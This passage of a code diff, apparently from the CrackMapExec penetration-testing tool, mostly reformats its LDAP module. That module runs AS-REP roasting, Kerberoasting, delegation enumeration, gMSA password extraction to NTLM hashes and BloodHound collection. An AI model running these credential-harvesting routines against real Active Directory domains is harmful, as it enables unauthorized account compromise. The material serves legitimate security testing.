f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if error_code in ldap_error_status else "red",
)
return False
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color='magenta' if error_code in ldap_error_status else 'red'
color="magenta" if error_code in ldap_error_status else "red",
)
return False
@@ -487,7 +563,7 @@ class ldap(connection):
if hash_tgt:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_tgt + '\n')
hash_asreproast.write(hash_tgt + "\n")
return False
try:
@@ -514,10 +590,16 @@ class ldap(connection):
# We need to try SSL
try:
# Connect to LDAPS
ldaps_url = f"{proto}://{self.target}"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.ldapConnection.login(
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
)
self.check_if_admin()
# Prepare success credential text
@@ -529,23 +611,21 @@ class ldap(connection):
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
return True
except ldap_impacket.LDAPSessionError as e:
except:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
return False
except OSError as e:
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}"
)
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
def hash_login(self, domain, username, ntlm_hash):
@@ -602,7 +682,13 @@ class ldap(connection):
ldaps_url = f"{proto}://{self.target}"
self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.ldapConnection.login(
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
)
self.check_if_admin()
# Prepare success credential text
@@ -618,19 +704,17 @@ class ldap(connection):
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
return False
except OSError as e:
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}"
)
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
def create_smbv1_conn(self):
@@ -684,14 +768,14 @@ class ldap(connection):
# count of sub authorities
sub_authorities = int(sid[1])
# big endian
identifier_authority = int.from_bytes(sid[2:8], byteorder='big')
identifier_authority = int.from_bytes(sid[2:8], byteorder="big")
# If true then it is represented in hex
if identifier_authority >= 2 ** 32:
if identifier_authority >= 2**32:
identifier_authority = hex(identifier_authority)
# loop over the count of small endians
sub_authority = '-' + '-'.join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder='little')) for i in range(sub_authorities)])
object_sid = 'S-' + str(revision) + '-' + str(identifier_authority) + sub_authority
sub_authority = "-" + "-".join([str(int.from_bytes(sid[8 + (i * 4) : 12 + (i * 4)], byteorder="little")) for i in range(sub_authorities)])
object_sid = "S-" + str(revision) + "-" + str(identifier_authority) + sub_authority
return object_sid
except Exception:
pass
@@ -701,30 +785,30 @@ class ldap(connection):
# 1. get SID of the domaine
search_filter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
attributes = ["objectSid"]
resp = self.search(search_filter, attributes, sizeLimit=0)
resp = self.search(search_filter, attributes, sizeLimit=0)
answers = []
if resp and self.password != '' and self.username != '':
if resp and self.password != "" and self.username != "":
for attribute in resp[0][1]:
if str(attribute['type']) == 'objectSid':
sid = self.sid_to_str(attribute['vals'][0])
self.sid_domain = '-'.join(sid.split('-')[:-1])
if str(attribute["type"]) == "objectSid":
sid = self.sid_to_str(attribute["vals"][0])
self.sid_domain = "-".join(sid.split("-")[:-1])
# 2. get all group cn name
search_filter = "(|(objectSid="+self.sid_domain+"-512)(objectSid="+self.sid_domain+"-544)(objectSid="+self.sid_domain+"-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))"
search_filter = "(|(objectSid=" + self.sid_domain + "-512)(objectSid=" + self.sid_domain + "-544)(objectSid=" + self.sid_domain + "-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))"
attributes = ["distinguishedName"]
resp = self.search(search_filter, attributes, sizeLimit=0)
resp = self.search(search_filter, attributes, sizeLimit=0)
answers = []
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
for attribute in item['attributes']:
if str(attribute['type']) == 'distinguishedName':
answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute['vals'][0] + ")"))
for attribute in item["attributes"]:
if str(attribute["type"]) == "distinguishedName":
answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")"))
# 3. get member of these groups
search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + ''.join(answers) + "))"
search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + "".join(answers) + "))"
attributes = [""]
resp = self.search(search_filter, attributes, sizeLimit=0)
resp = self.search(search_filter, attributes, sizeLimit=0)
answers = []
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
@@ -744,7 +828,7 @@ class ldap(connection):
resp = self.ldapConnection.search(
searchFilter=searchFilter,
attributes=attributes,
sizeLimit=sizeLimit
sizeLimit=sizeLimit,
)
return resp
except ldap_impacket.LDAPSearchError as e:
@@ -762,8 +846,14 @@ class ldap(connection):
def users(self):
# Building the search filter
search_filter = "(sAMAccountType=805306368)"
attributes = ["sAMAccountName", "description", "badPasswordTime", "badPwdCount", "pwdLastSet"]
resp = self.search(search_filter, attributes, sizeLimit=0)
attributes = [
"sAMAccountName",
"description",
"badPasswordTime",
"badPwdCount",
"pwdLastSet",
]
resp = self.search(search_filter, attributes, sizeLimit=0)
if resp:
answers = []
self.logger.display(f"Total of records returned {len(resp):d}")
@@ -777,10 +867,10 @@ class ldap(connection):
pwdLastSet = ""
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
elif str(attribute["type"]) == 'description':
description = str(attribute['vals'][0])
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "description":
description = str(attribute["vals"][0])
self.logger.highlight(f"{sAMAccountName:<30} {description}")
except Exception as e:
self.logger.debug(f"Skipping item, cannot process due to error {e}")
@@ -799,7 +889,7 @@ class ldap(connection):
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
name = ''
name = ""
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "name":
@@ -815,10 +905,14 @@ class ldap(connection):
if self.password == "" and self.nthash == "" and self.kerberos is False:
return False
# Building the search filter
search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"]
search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
attributes = [
"sAMAccountName",
"pwdLastSet",
"MemberOf",
"userAccountControl",
"lastLogon",
]
resp = self.search(search_filter, attributes, 0)
if resp == []:
self.logger.highlight("No entries found!")
@@ -830,15 +924,15 @@ class ldap(connection):
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
pwdLastSet = ''
sAMAccountName = ""
memberOf = ""
pwdLastSet = ""
userAccountControl = 0
lastLogon = 'N/A'
lastLogon = "N/A"
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute['vals'][0])
sAMAccountName = str(attribute["vals"][0])
mustCommit = True
elif str(attribute["type"]) == "userAccountControl":
userAccountControl = "0x%x" % int(attribute["vals"][0])
@@ -855,12 +949,20 @@ class ldap(connection):
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
if mustCommit is True:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
answers.append(
[
sAMAccountName,
memberOf,
pwdLastSet,
lastLogon,
userAccountControl,
]
)
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.debug(f"Skipping item, cannot process due to error {e}")
pass
if len(answers)>0:
if len(answers) > 0:
for user in answers:
hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0])
self.logger.highlight(f"{hash_TGT}")
@@ -875,9 +977,15 @@ class ldap(connection):
def kerberoasting(self):
# Building the search filter
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
attributes = ["servicePrincipalName", "sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"]
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
attributes = [
"servicePrincipalName",
"sAMAccountName",
"pwdLastSet",
"MemberOf",
"userAccountControl",
"lastLogon",
]
resp = self.search(searchFilter, attributes, 0)
if not resp:
self.logger.highlight("No entries found!")
@@ -917,8 +1025,7 @@ class ldap(connection):
if str(attribute["vals"][0]) == "0":
lastLogon = "<never>"
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute[
"vals"][0])))))
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
elif str(attribute["type"]) == "servicePrincipalName":
for spn in attribute["vals"]:
SPNs.append(str(spn))
@@ -928,7 +1035,16 @@ class ldap(connection):
self.logger.debug(f"Bypassing disabled account {sAMAccountName} ")
else:
for spn in SPNs:
answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon, delegation])
answers.append(
[
spn,
sAMAccountName,
memberOf,
pwdLastSet,
lastLogon,
delegation,
]
)
except Exception as e:
cme_logger.error(f"Skipping item, cannot process due to error {str(e)}")
pass
@@ -937,7 +1053,14 @@ class ldap(connection):
self.logger.display(f"Total of records returned {len(answers):d}")
TGT = KerberosAttacks(self).getTGT_kerberoasting()
dejavue = []
for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers:
for (
SPN,
sAMAccountName,
memberOf,
pwdLastSet,
lastLogon,
delegation,
) in answers:
if sAMAccountName not in dejavue:
downLevelLogonName = self.targetDomain + "\\" + sAMAccountName
@@ -952,12 +1075,16 @@ class ldap(connection):
self.kdcHost,
TGT["KDC_REP"],
TGT["cipher"],
TGT["sessionKey"]
TGT["sessionKey"],
)
r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.targetDomain + "/" + sAMAccountName)
self.logger.highlight(
f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}"
r = KerberosAttacks(self).outputTGS(
tgs,
oldSessionKey,
sessionKey,
sAMAccountName,
self.targetDomain + "/" + sAMAccountName,
)
self.logger.highlight(f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}")
self.logger.highlight(f"{r}")
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
hash_kerberoasting.write(r + "\n")
@@ -974,7 +1101,13 @@ class ldap(connection):
def trusted_for_delegation(self):
# Building the search filter
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"]
attributes = [
"sAMAccountName",
"pwdLastSet",
"MemberOf",
"userAccountControl",
"lastLogon",
]
resp = self.search(searchFilter, attributes, 0)
answers = []
@@ -1009,12 +1142,20 @@ class ldap(connection):
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
if mustCommit is True:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
answers.append(
[
sAMAccountName,
memberOf,
pwdLastSet,
lastLogon,
userAccountControl,
]
)
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.debug(f"Skipping item, cannot process due to error {e}")
pass
if len(answers)>0:
if len(answers) > 0:
self.logger.debug(answers)
for value in answers:
self.logger.highlight(value[0])
@@ -1029,8 +1170,14 @@ class ldap(connection):
self.logger.debug(f"Search Filter={searchFilter}")
resp = self.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"],
sizeLimit=0
attributes=[
"sAMAccountName",
"pwdLastSet",
"MemberOf",
"userAccountControl",
"lastLogon",
],
sizeLimit=0,
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
@@ -1076,12 +1223,21 @@ class ldap(connection):
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
if mustCommit is True:
answers.append([sAMAccountName, memberOf, pwdLastSet, lastLogon, userAccountControl, status])
answers.append(
[
sAMAccountName,
memberOf,
pwdLastSet,
lastLogon,
userAccountControl,
status,
]
)
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.debug(f"Skipping item, cannot process due to error {str(e)}")
pass
if len(answers)>0:
if len(answers) > 0:
self.logger.debug(answers)
for value in answers:
self.logger.highlight(f"User: {value[0]} Status: {value[5]}")
@@ -1092,7 +1248,13 @@ class ldap(connection):
def admin_count(self):
# Building the search filter
searchFilter = "(adminCount=1)"
attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"]
attributes = [
"sAMAccountName",
"pwdLastSet",
"MemberOf",
"userAccountControl",
"lastLogon",
]
resp = self.search(searchFilter, attributes, 0)
answers = []
self.logger.debug(f"Total of records returned {len(resp):d}")
@@ -1109,7 +1271,7 @@ class ldap(connection):
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute['vals'][0])
sAMAccountName = str(attribute["vals"][0])
mustCommit = True
elif str(attribute["type"]) == "userAccountControl":
userAccountControl = "0x%x" % int(attribute["vals"][0])
@@ -1126,12 +1288,20 @@ class ldap(connection):
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
if mustCommit is True:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
answers.append(
[
sAMAccountName,
memberOf,
pwdLastSet,
lastLogon,
userAccountControl,
]
)
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.debug(f"Skipping item, cannot process due to error {str(e)}")
pass
if len(answers)>0:
if len(answers) > 0:
self.logger.debug(answers)
for value in answers:
self.logger.highlight(value[0])
@@ -1144,9 +1314,13 @@ class ldap(connection):
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldapConnection.search(
searchFilter=search_filter,
attributes=["sAMAccountName", "msDS-ManagedPassword", "msDS-GroupMSAMembership"],
attributes=[
"sAMAccountName",
"msDS-ManagedPassword",
"msDS-GroupMSAMembership",
],
sizeLimit=0,
searchBase=self.baseDN
searchBase=self.baseDN,
)
if gmsa_accounts:
answers = []
@@ -1159,7 +1333,7 @@ class ldap(connection):
passwd = ""
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute['vals'][0])
sAMAccountName = str(attribute["vals"][0])
if str(attribute["type"]) == "msDS-ManagedPassword":
data = attribute["vals"][0].asOctets()
blob = MSDS_MANAGEDPASSWORD_BLOB()
@@ -1180,7 +1354,7 @@ class ldap(connection):
hex_letters = "0123456789abcdef"
str_hash = ""
for b in bin_hash:
str_hash += hex_letters[b & 0x0f]
str_hash += hex_letters[b & 0x0F]
str_hash += hex_letters[b >> 0x04]
self.logger.debug(f"Hash2: {str_hash}")
return str_hash
@@ -1196,7 +1370,7 @@ class ldap(connection):
searchFilter=search_filter,
attributes=["sAMAccountName"],
sizeLimit=0,
searchBase=self.baseDN
searchBase=self.baseDN,
)
if gmsa_accounts:
answers = []
@@ -1210,9 +1384,7 @@ class ldap(connection):
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == self.args.gmsa_convert_id:
self.logger.highlight(
f"Account: {sAMAccountName:<20} ID: {self.args.gmsa_convert_id}"
)
self.logger.highlight(f"Account: {sAMAccountName:<20} ID: {self.args.gmsa_convert_id}")
break
else:
self.logger.fail("No string provided :'(")
@@ -1229,7 +1401,7 @@ class ldap(connection):
searchFilter=search_filter,
attributes=["sAMAccountName"],
sizeLimit=0,
searchBase=self.baseDN
searchBase=self.baseDN,
)
if gmsa_accounts:
answers = []
@@ -1250,20 +1422,35 @@ class ldap(connection):
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(data)
currentPassword = blob["CurrentPassword"][:-2]
ntlm_hash = MD4.new ()
ntlm_hash.update (currentPassword)
passwd = hexlify(ntlm_hash.digest()).decode('utf-8')
ntlm_hash = MD4.new()
ntlm_hash.update(currentPassword)
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
self.logger.highlight(f"Account: {gmsa_id:<20} NTLM: {passwd}")
else:
self.logger.fail("No string provided :'(")
def bloodhound(self):
auth = ADAuthentication(username=self.username, password=self.password, domain=self.domain, lm_hash=self.nthash, nt_hash=self.nthash, aeskey=self.aesKey, kdc=self.kdcHost, auth_method="auto")
ad = AD(auth=auth, domain=self.domain, nameserver=self.args.nameserver, dns_tcp=False, dns_timeout=3)
auth = ADAuthentication(
username=self.username,
password=self.password,
domain=self.domain,
lm_hash=self.nthash,
nt_hash=self.nthash,
aeskey=self.aesKey,
kdc=self.kdcHost,
auth_method="auto",
)
ad = AD(
auth=auth,
domain=self.domain,
nameserver=self.args.nameserver,
dns_tcp=False,
dns_timeout=3,
)
collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection)
if not collect:
return
self.logger.highlight("Resolved collection methods: %s", ", ".join(list(collect)))
self.logger.highlight("Resolved collection methods: " + ", ".join(list(collect)))
self.logger.debug("Using DNS to retrieve domain information")
ad.dns_resolve(domain=self.domain)
@@ -1285,7 +1472,7 @@ class ldap(connection):
timestamp=timestamp,
computerfile=None,
cachefile=None,
exclude_dcs=False
exclude_dcs=False,
)
self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip")
+59 -28
View File
@@ -6,6 +6,7 @@ from bloodhound.enumeration.computers import ComputerEnumerator
from bloodhound.enumeration.memberships import MembershipEnumerator
from bloodhound.enumeration.domains import DomainEnumerator
class BloodHound(object):
def __init__(self, ad, hostname, host, port):
self.ad = ad
@@ -17,73 +18,103 @@ class BloodHound(object):
self.proto_logger(port, hostname, host)
def proto_logger(self, port, hostname, host):
self.logger = CMEAdapter(extra={
'protocol': 'LDAP',
'host': host,
'port': port,
'hostname': hostname
})
self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
def connect(self):
if len(self.ad.dcs()) == 0:
self.logger.fail('Could not find a domain controller. Consider specifying a domain and/or DNS server.')
self.logger.fail("Could not find a domain controller. Consider specifying a domain and/or DNS server.")
sys.exit(1)
if not self.ad.baseDN:
self.logger.fail('Could not figure out the domain to query. Please specify this manually with -d')
self.logger.fail("Could not figure out the domain to query. Please specify this manually with -d")
sys.exit(1)
pdc = self.ad.dcs()[0]
self.logger.debug('Using LDAP server: %s', pdc)
self.logger.debug('Using base DN: %s', self.ad.baseDN)
self.logger.debug("Using LDAP server: %s", pdc)
self.logger.debug("Using base DN: %s", self.ad.baseDN)
if len(self.ad.kdcs()) > 0:
kdc = self.ad.kdcs()[0]
self.logger.debug('Using kerberos KDC: %s', kdc)
self.logger.debug('Using kerberos realm: %s', self.ad.realm())
self.logger.debug("Using kerberos KDC: %s", kdc)
self.logger.debug("Using kerberos realm: %s", self.ad.realm())
# Create a domain controller object
self.pdc = ADDC(pdc, self.ad)
# Create an object resolver
self.ad.create_objectresolver(self.pdc)
# self.pdc.ldap_connect(self.ad.auth.username, self.ad.auth.password, kdc)
# self.pdc.ldap_connect(self.ad.auth.username, self.ad.auth.password, kdc)
def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", computerfile="", cachefile=None, exclude_dcs=False):
def run(
self,
collect,
num_workers=10,
disable_pooling=False,
timestamp="",
computerfile="",
cachefile=None,
exclude_dcs=False,
):
start_time = time.time()
if cachefile:
self.ad.load_cachefile(cachefile)
# Check early if we should enumerate computers as well
do_computer_enum = any(method in collect for method in ['localadmin', 'session', 'loggedon', 'experimental', 'rdp', 'dcom', 'psremote'])
do_computer_enum = any(
method in collect
for method in [
"localadmin",
"session",
"loggedon",
"experimental",
"rdp",
"dcom",
"psremote",
]
)
if 'group' in collect or 'objectprops' in collect or 'acl' in collect:
if "group" in collect or "objectprops" in collect or "acl" in collect:
# Fetch domains for later, computers if needed
self.pdc.prefetch_info('objectprops' in collect, 'acl' in collect, cache_computers=do_computer_enum)
self.pdc.prefetch_info(
"objectprops" in collect,
"acl" in collect,
cache_computers=do_computer_enum,
)
# Initialize enumerator
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
membership_enum.enumerate_memberships(timestamp=timestamp)
elif 'container' in collect:
elif "container" in collect:
# Fetch domains for later, computers if needed
self.pdc.prefetch_info('objectprops' in collect, 'acl' in collect, cache_computers=do_computer_enum)
self.pdc.prefetch_info(
"objectprops" in collect,
"acl" in collect,
cache_computers=do_computer_enum,
)
# Initialize enumerator
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
membership_enum.do_container_collection(timestamp=timestamp)
elif do_computer_enum:
# We need to know which computers to query regardless
# We also need the domains to have a mapping from NETBIOS -> FQDN for local admins
self.pdc.prefetch_info('objectprops' in collect, 'acl' in collect, cache_computers=True)
elif 'trusts' in collect:
self.pdc.prefetch_info("objectprops" in collect, "acl" in collect, cache_computers=True)
elif "trusts" in collect:
# Prefetch domains
self.pdc.get_domains('acl' in collect)
if 'trusts' in collect or 'acl' in collect or 'objectprops' in collect:
self.pdc.get_domains("acl" in collect)
if "trusts" in collect or "acl" in collect or "objectprops" in collect:
trusts_enum = DomainEnumerator(self.ad, self.pdc)
trusts_enum.dump_domain(collect,timestamp=timestamp)
trusts_enum.dump_domain(collect, timestamp=timestamp)
if do_computer_enum:
# If we don't have a GC server, don't use it for deconflictation
have_gc = len(self.ad.gcs()) > 0
computer_enum = ComputerEnumerator(self.ad, self.pdc, collect, do_gc_lookup=have_gc, computerfile=computerfile, exclude_dcs=exclude_dcs)
computer_enum = ComputerEnumerator(
self.ad,
self.pdc,
collect,
do_gc_lookup=have_gc,
computerfile=computerfile,
exclude_dcs=exclude_dcs,
)
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp)
end_time = time.time()
minutes, seconds = divmod(int(end_time-start_time),60)
self.logger.highlight('Done in %02dM %02dS' % (minutes, seconds))
minutes, seconds = divmod(int(end_time - start_time), 60)
self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds))
+16 -16
View File
@@ -3,7 +3,11 @@
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table
from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError
from sqlalchemy.exc import (
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from cme.logger import cme_logger
@@ -15,29 +19,30 @@ class database:
self.db_engine = db_engine
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(
bind=self.db_engine,
expire_on_commit=True
)
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
# this is still named "conn" when it is the session object; TODO: rename
self.conn = Session()
@staticmethod
def db_schema(db_conn):
db_conn.execute('''CREATE TABLE "credentials" (
db_conn.execute(
"""CREATE TABLE "credentials" (
"id" integer PRIMARY KEY,
"username" text,
"password" text
)''')
)"""
)
db_conn.execute('''CREATE TABLE "hosts" (
db_conn.execute(
"""CREATE TABLE "hosts" (
"id" integer PRIMARY KEY,
"ip" text,
"hostname" text,
"port" integer
)''')
)"""
)
def reflect_tables(self):
with self.db_engine.connect() as conn:
@@ -45,12 +50,7 @@ class database:
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
except (NoInspectionAvailable, NoSuchTableError):
print(
"[-] Error reflecting tables - this means there is a DB schema mismatch \n"
"[-] This is probably because a newer version of CME is being ran on an old DB schema\n"
"[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n"
"[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema"
)
print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema")
exit()
def shutdown_db(self):
+1 -1
View File
@@ -15,4 +15,4 @@ class navigator(DatabaseNavigator):
THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE
YOU CANNOT UNDO THIS COMMAND
"""
print_help(help_string)
print_help(help_string)
+24 -23
View File
@@ -1,35 +1,36 @@
from impacket.structure import Structure
class MSDS_MANAGEDPASSWORD_BLOB(Structure):
structure = (
('Version','<H'),
('Reserved','<H'),
('Length','<L'),
('CurrentPasswordOffset','<H'),
('PreviousPasswordOffset','<H'),
('QueryPasswordIntervalOffset','<H'),
('UnchangedPasswordIntervalOffset','<H'),
('CurrentPassword',':'),
('PreviousPassword',':'),
#('AlignmentPadding',':'),
('QueryPasswordInterval',':'),
('UnchangedPasswordInterval',':'),
("Version", "<H"),
("Reserved", "<H"),
("Length", "<L"),
("CurrentPasswordOffset", "<H"),
("PreviousPasswordOffset", "<H"),
("QueryPasswordIntervalOffset", "<H"),
("UnchangedPasswordIntervalOffset", "<H"),
("CurrentPassword", ":"),
("PreviousPassword", ":"),
# ('AlignmentPadding',':'),
("QueryPasswordInterval", ":"),
("UnchangedPasswordInterval", ":"),
)
def __init__(self, data = None):
Structure.__init__(self, data = data)
def __init__(self, data=None):
Structure.__init__(self, data=data)
def fromString(self, data):
Structure.fromString(self,data)
Structure.fromString(self, data)
if self['PreviousPasswordOffset'] == 0:
endData = self['QueryPasswordIntervalOffset']
if self["PreviousPasswordOffset"] == 0:
endData = self["QueryPasswordIntervalOffset"]
else:
endData = self['PreviousPasswordOffset']
endData = self["PreviousPasswordOffset"]
self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]
if self['PreviousPasswordOffset'] != 0:
self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]
